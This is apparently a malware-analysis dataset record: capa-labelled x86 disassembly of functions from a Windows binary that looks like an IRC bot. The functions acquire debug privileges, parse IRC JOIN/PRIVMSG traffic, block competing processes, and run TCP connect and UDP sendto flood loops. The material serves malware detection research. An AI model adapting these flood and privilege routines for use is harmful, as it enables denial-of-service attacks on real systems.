joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2624d00
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
call fcn.026235e0
cmp dword [0x2669204], eax
jne 0x2624d24
call fcn.026235e0
mov eax, 1
mov esp, ebp
pop ebp
ret
call fcn.026235e0
mov dword [0x2669204], eax
call fcn.02623a20
test eax, eax
jne 0x2624d3d
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0x2657bf8
mov dword [0x2657bf8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x2624d37
push esi
call fcn.02623f90
push 0xedb88320
call fcn.02622d60
push 0x10000
push 0x26589b8
push 0
push 0
push 0x2657a80
call fcn.02623390
push 0x2657a80
push 0x26589a8
call fcn.02626040
mov esi, dword [ebp + 8]
push esi
push 0x2657c98
call fcn.02624ae0
push esi
push 0x26689b8
call fcn.02623ac0
push 0x104
push esi
push 0x2657ae8
call sub.MSVCRT.dll_strncpy
add esp, 0x3c
lea eax, [ebp - 4]
push eax
push 0x800
lea ecx, [ebp - 0x804]
push ecx
push 0x1b
call fcn.026235d0
push eax
call dword [0x2637944]
pop esi
test eax, eax
jl 0x2624e53
movzx edx, word [ebp - 0x802]
push edx
push 0x2657a80
call fcn.02623440
mov cx, word [ebp - 0x804]
mov dx, word [ebp - 0x802]
mov word [0x2657a78], cx
movzx ecx, cx
mov word [0x2657a7a], dx
mov edx, dword [ebp - 0x800]
push ecx
push edx
push eax
mov dword [0x2657a7c], eax
call fcn.02623640
movzx eax, word [0x2657a78]
mov edx, dword [0x2657a7c]
shr eax, 1
xor ecx, ecx
mov word [edx + eax*2], cx
movzx eax, word [0x2657a78]
mov ecx, dword [0x2657a7c]
shr eax, 1
push eax
push ecx
call fcn.02624cc0
add esp, 0x1c
mov dword [0x2669200], eax
call fcn.026235e0
push str.NtGetNextProcess
push str.ntdll.dll
call fcn.02623890
push eax
call fcn.02623750
push 1
push str.SeDebugPrivilege
mov dword [0x2657c94], eax
call fcn.02624c20
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x2625220
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x218
mov eax, 0x5a4d
push ebx
mov ebx, ecx
cmp word [ecx], ax
je 0x2625240
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x2625239
mov edx, 0x14c
cmp word [eax + 4], dx
jne 0x2625239
mov eax, dword [eax + 0x80]
test eax, eax
je 0x26252ee
cmp dword [eax + ecx + 0xc], 0
push esi
lea esi, [eax + ecx + 0xc]
je 0x26252ed
push edi
mov eax, dword [esi]
add eax, ebx
push eax
mov dword [ebp - 0xc], eax
call fcn.02623670
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], ax
add esp, 4
xor ecx, ecx
lea eax, [ebp - 0x218]
push ecx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
mov word [ebp - 8], cx
push eax
lea ecx, [ebp - 8]
mov edx, 0x104
push ecx
mov word [ebp - 6], dx
call dword [0x263793c]
test eax, eax
jl 0x26252e4
mov edx, dword [ebp - 0xc]
push edx
call fcn.02623890
mov edi, eax
test edi, edi
je 0x26252e4
mov eax, dword [0x2669208]
push edi
push eax
lea ecx, [ebp - 8]
call fcn.02624e90
add esp, 8
test eax, eax
je 0x26252e4
push edi
call fcn.02625220
add esp, 4
add esi, 0x14
cmp dword [esi], 0
jne 0x2625273
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x2626870
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.02626850
test eax, eax
jne 0x262687c
xor eax, eax
ret
push 0x2669c70
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x2626879
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2669c70
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x2669c70
ret

Function at 0x26268b0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push 1
push 0x26
push 0x2669e78
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x26268c6
ret
push str.Internet_Exploreriexplore.exe
push 0x2669e78
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, 0x2669e78
ret

Function at 0x2626940
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
test esi, esi
je 0x2626a31
test dword [ebp + 0xc], 0x40000000
je 0x2626a31
push esi
call fcn.026219f0
add esp, 4
test eax, eax
je 0x2626a31
push str.autorun.inf
push eax
call fcn.026239a0
add esp, 8
test eax, eax
jne 0x2626a31
push str.pdef
call fcn.02627700
add esp, 4
cmp eax, 1
jne 0x2626a31
push 0x26317f0
push 0x2636e90
mov edi, eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x2626a31
push 0x266ac50
push 0x2636d88
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x2626a31
push 0x80
push 0x2636e90
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x2636e90
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
push 0
push 0x2636d88
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test al, al
je 0x2626a19
push 0x2636d88
push esi
push 0x266a710
push 0x26363ec
push str._s.Blocked___S__from_creating___S______s__will_be_removed_at_reboot_
call fcn.0262a310
add esp, 0x14
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
push 0x266a710
push 0x26363ec
push str._s.Blocked___S__from_creating___S_
call fcn.0262a310
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x2626a40
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x10f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov eax, dword [0x266ad58]
add esp, 0xc
cmp eax, ebx
je 0x2626a82
cmp dword [ebp + 8], eax
je 0x2626ba2
push esi
mov esi, dword [ebp + 0x18]
cmp esi, 5
jb 0x2626ba1
push str.pdef
call fcn.02627700
add esp, 4
test eax, eax
je 0x2626ba1
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push edi
push ecx
push str._s:_d
push 0x26318cc
call fcn.026273e0
add esp, 0x10
cmp eax, 1
je 0x2626ba0
cmp edi, 0x19c8
jb 0x2626adc
cmp edi, 0x1b58
jbe 0x2626ba0
cmp esi, 0x200
ja 0x2626ba0
cmp dword [str.PRIVMSG_], ebx
je 0x2626ba0
mov edi, dword [ebp + 0x14]
mov esi, 0x2635658
lea esp, [esp]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esi]
push eax
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x2626b84
push 4
push str.JOIN
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
je 0x2626b42
push 7
push 0x26318bc
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x2626b7d
lea ecx, [ebp - 0x110]
push ecx
push str.JOIN__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
je 0x2626b76
lea edx, [ebp - 0x110]
push edx
push str.PRIVMSG__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
jne 0x2626b7d
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
inc ebx
cmp dword [ebx*4 + 0x2635658], 0
lea esi, [ebx*4 + 0x2635658]
jne 0x2626b00
cmp dword [ebp - 4], 0
ja 0x2626baa
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
push esi
push edi
push str._s:_d
push str.block
call fcn.026273e0
add esp, 0x10
test eax, eax
jne 0x2626c1a
cmp dword [ebp - 8], 1
jne 0x2626c01
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x2626c01
lea ecx, [ebp - 0x110]
push ecx
push esi
push edi
push 0x266a710
push 0x26363ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d__Target:__s_.
call fcn.0262a310
add esp, 0x18
jmp 0x2626c1a
push esi
push edi
push 0x266a710
push 0x26363ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d.
call fcn.0262a310
add esp, 0x14
mov eax, dword [0x266a2ac]
push 0x80
push 0x266a710
test eax, eax
je 0x2626c31
call eax
jmp 0x2626c37
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 4
push 0
push 0x266a710
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0xc]
push edx
call fcn.026235d0
push eax
call fcn.02626d90
mov eax, dword [ebp + 8]
add esp, 8
test eax, eax
jbe 0x2626c65
push eax
call sub.WS2_32.dll_closesocket
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x2627e20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x103a
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 4], 1
test esi, esi
jne 0x2627e44
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push edi
push 0x10
push ecx
lea edi, [esi + 8]
push edi
mov dword [esi + 4], eax
call fcn.02623640
add esp, 0xc
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi + 0x18], eax
cmp eax, 0xffffffff
je 0x2627eb4
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
je 0x2627eb4
mov eax, dword [esi + 0x18]
push 0x10
push edi
push eax
call sub.WS2_32.dll_connect
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], 1
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1020]
mov dword [esi], edx
mov eax, dword [eax]
mov dword [eax + 0x1020], esi
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x2627f90
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub esp, 0x104
push esi
mov esi, dword [ebp + 0xc]
cmp dword [esi + 0x1c], 0
push edi
je 0x262804f
mov ecx, dword [esi + 0x18]
lea edi, [eax + 0x1018]
push edi
push 0
lea edx, [ebp - 0x104]
push edx
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x262801c
mov eax, dword [esi + 0x20]
mov dword [esi + 0x1c], 0
test eax, eax
je 0x2628109
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x18]
push 0
push ecx
push eax
push edx
call sub.WS2_32.dll_send
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov dword [esi + 0x20], 0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x18]
push edi
lea edx, [ebp - 0x104]
push edx
push 0
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
dec eax
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret
movzx ecx, word [esi + 0x1038]
test cx, cx
jne 0x26280d6
mov ecx, dword [esi + 0x18]
add eax, 0x1018
push eax
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x2628109
mov ecx, dword [esi + 0x18]
push 0
push 0x1000
lea eax, [esi + 0x2f]
push eax
push ecx
call sub.WS2_32.dll_recv
mov word [esi + 0x1038], ax
test ax, ax
ja 0x26280b3
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov word [esi + 0x2d], ax
add eax, 7
mov word [esi + 0x1038], ax
pop edi
mov dword [esi + 0x28], edx
mov byte [esi + 0x2c], 3
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [eax]
push 0
movzx ecx, cx
push ecx
lea edi, [esi + 0x28]
push edi
push edx
call sub.WS2_32.dll_send
test eax, eax
jle 0x2628109
sub word [esi + 0x1038], ax
movzx ecx, word [esi + 0x1038]
push ecx
lea edx, [eax + esi + 0x28]
push edx
push edi
call fcn.02623640
add esp, 0xc
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x2628120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov esi, dword [eax + 0x1020]
test esi, esi
je 0x2628174
push esi
push edi
call fcn.02627f90
add esp, 8
test eax, eax
jne 0x262816e
mov ecx, dword [esi + 4]
push eax
mov eax, dword [edi]
push 5
lea edx, [ebp - 8]
mov dword [ebp - 8], ecx
mov byte [ebp - 4], 2
mov ecx, dword [eax]
push edx
push ecx
call sub.WS2_32.dll_send
push esi
push edi
call fcn.02627ef0
add esp, 8
mov esi, eax
jmp 0x2628170
mov esi, dword [esi]
test esi, esi
jne 0x2628137
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x26281c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0x40000
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x26281f2
xor eax, eax
mov esp, ebp
pop ebp
ret
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x262821f
lea ecx, [ebp - 8]
push ecx
push 0x8004667e
push esi
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
jne 0x2628226
push esi
call sub.WS2_32.dll_closesocket
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov ecx, dword [ebp + 0xc]
push 0x10
push ecx
push esi
call sub.WS2_32.dll_connect
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x2628670
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x266a6bc], 0
je 0x2628680
xor eax, eax
pop ebp
ret
push esi
push 0x103c
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x262875a
mov eax, dword [ebp + 8]
push eax
call fcn.02629300
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov dword [esi + 0x1030], eax
call sub.WS2_32.dll_htons
mov edx, 2
lea ecx, [esi + 0x102c]
mov word [ecx], dx
mov edx, dword [esi + 0x1030]
mov word [esi + 0x102e], ax
cmp edx, 0xffffffff
je 0x2628749
test edx, edx
je 0x2628749
test ax, ax
je 0x2628749
push ecx
push 0x266a6bc
call fcn.026281c0
add esp, 8
mov dword [esi], eax
test eax, eax
jbe 0x2628749
mov eax, dword [esi + 0x1030]
push eax
call sub.WS2_32.dll_inet_ntoa
movzx ecx, word [esi + 0x102e]
push ecx
call sub.WS2_32.dll_ntohs
mov dword [esi + 0x1024], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
push 0x2628640
push 0
mov dword [esi + 0x1028], eax
push 0
mov dword [0x266a6bc], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x266a6bc], 0
xor eax, eax
pop esi
pop ebp
ret
Function at 0x26289b0
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor edi, edi
push 0x34
lea eax, [ebp - 0x50]
push edi
push eax
mov dword [ebp - 4], edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push edi
lea ebx, [esi + 0x10]
push ebx
push edi
push edi
lea ecx, [ebp - 0x54]
push ecx
push edi
push 2
xor eax, eax
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 0x20
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x24], 0x1c
mov dword [ebp - 0x20], edi
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
jne 0x2628afe
push edi
lea edx, [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], edx
lea edx, [ebp - 0x1c]
push edx
lea eax, [esi + 8]
push eax
mov eax, dword [ebp + 0xc]
push edi
push edi
push edi
push edi
push 0x8c11c
push eax
push edi
push ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 2
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], edi
call dword [sym.imp.Secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
jne 0x2628afe
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push ecx
push edx
push esi
call fcn.02622be0
add esp, 0xc
cmp eax, dword [ebp - 0x10]
jne 0x2628afe
lea eax, [ebp - 0x10]
push eax
call fcn.02628760
mov ecx, dword [ebp + 0xc]
push 1
push ecx
push esi
call fcn.02628790
add esp, 0x10
cmp eax, 1
jne 0x2628afe
lea eax, [esi + 0x18]
push eax
push 4
lea eax, [esi + 8]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x2628afe
mov edx, dword [esi + 0x20]
add edx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x34]
add eax, edx
push eax
push ecx
mov dword [esi + 0x38], eax
call fcn.02622490
add esp, 8
mov dword [esi + 0x34], eax
cmp eax, edi
je 0x2628afe
mov eax, 1
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x2c]
push edx
call fcn.026224a0
lea eax, [ebp - 0x10]
push eax
call fcn.02628760
add esp, 8
add esi, 8
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
push ebx
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x2628b30
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x18]
add ebx, dword [esi + 0x34]
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], eax
xor eax, eax
push 0x2c
push eax
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 4], eax
mov dword [ebp + 8], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [esi + 4], 0
jne 0x2628b9a
mov edx, dword [ebp + 0xc]
push edi
push edx
push esi
call fcn.02622be0
add esp, 0xc
xor ecx, ecx
cmp eax, edi
sete cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x2628c77
jmp 0x2628ba7
mov edi, dword [ebp + 8]
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
push edx
push eax
call fcn.026224e0
mov eax, dword [esi + 0x20]
add esp, 8
cmp edi, eax
jb 0x2628bc0
mov edi, eax
mov ecx, dword [ebp - 8]
push edi
push ecx
push ebx
call fcn.02622440
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x18]
mov ecx, dword [ebp - 0xc]
sub dword [ebp + 8], edi
add dword [ebp - 8], edi
mov dword [ebp - 0x40], edx
mov edx, dword [esi + 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
lea eax, [esi + 8]
lea ecx, [ebp - 0x48]
push eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], ecx
call sub.Secur32.dll_EncryptMessage
test eax, eax
jne 0x2628c7a
mov byte [ebp + 0xf], al
movzx eax, byte [ebp + 0xf]
lea eax, [eax + eax*2]
add eax, eax
add eax, eax
mov ecx, dword [ebp + eax - 0x48]
mov edx, dword [ebp + eax - 0x40]
lea edi, [ebp + eax - 0x48]
push ecx
push edx
push esi
call fcn.02622be0
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, dword [edi]
jne 0x2628c7d
mov al, byte [ebp + 0xf]
inc al
mov byte [ebp + 0xf], al
cmp al, 3
jb 0x2628c35
cmp dword [ebp + 8], 0
jne 0x2628ba4
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x2629300
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x2629326
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x262931f
pop esi
pop ebp
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
pop ebp
ret

Function at 0x2629330
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [ebp + 8]
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.02629300
mov edx, dword [ebp + 0xc]
add esp, 4
mov ecx, 2
push edx
mov esi, eax
mov word [ebp - 0x14], cx
call sub.WS2_32.dll_htons
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], esi
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
sub esi, eax
mov dword [ebp - 0x3d4], eax
cmp esi, edi
ja 0x262941c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x2635b7c], 0
jne 0x262941b
xor esi, esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x26293c6
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x26293a0
xor esi, esi
mov edi, edi
mov eax, dword [ebp + esi*4 - 0xdc]
push 0x10
lea edx, [ebp - 0x14]
push edx
push eax
call sub.WS2_32.dll_connect
inc esi
cmp esi, 0x32
jl 0x26293d0
push 0x64
call ebx
xor esi, esi
nop
mov ecx, dword [ebp + esi*4 - 0xdc]
push ecx
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x26293f0
push 0x4b
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x3d4]
cmp eax, edi
jbe 0x2629395
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x2629430
Capabilities:
Check for time delay via gettickcount
Create udp socket
Encrypt data using rc4 ksa
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a40
call fcn.02630f10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.02629300
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x2629467
movzx eax, ax
jmp 0x2629486
call edi
push eax
call main
add esp, 4
call fcn.02623870
movzx eax, ax
cdq
mov ecx, 0xffff
idiv ecx
inc edx
movzx eax, dx
mov edx, 2
push eax
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
mov dword [ebp - 0x10], esi
mov word [ebp - 0x12], ax
xor esi, esi
mov edi, edi
call fcn.02623870
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x1964
mov byte [ebp + esi - 0x1a41], dl
jl 0x26294a0
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
mov ebx, eax
sub esi, ebx
cmp esi, edi
ja 0x2629574
jmp 0x26294e0
cmp dword [0x2635b7c], 0
jne 0x2629574
xor esi, esi
nop
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x2629516
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x26294f0
xor esi, esi
mov edi, edi
mov edx, dword [ebp + esi*4 - 0xdc]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1964
lea ecx, [ebp - 0x1a40]
push ecx
push edx
call sub.WS2_32.dll_sendto
inc esi
cmp esi, 0x32
jl 0x2629520
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, dword [ebp + esi*4 - 0xdc]
push eax
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x2629551
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, edi
jbe 0x26294e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret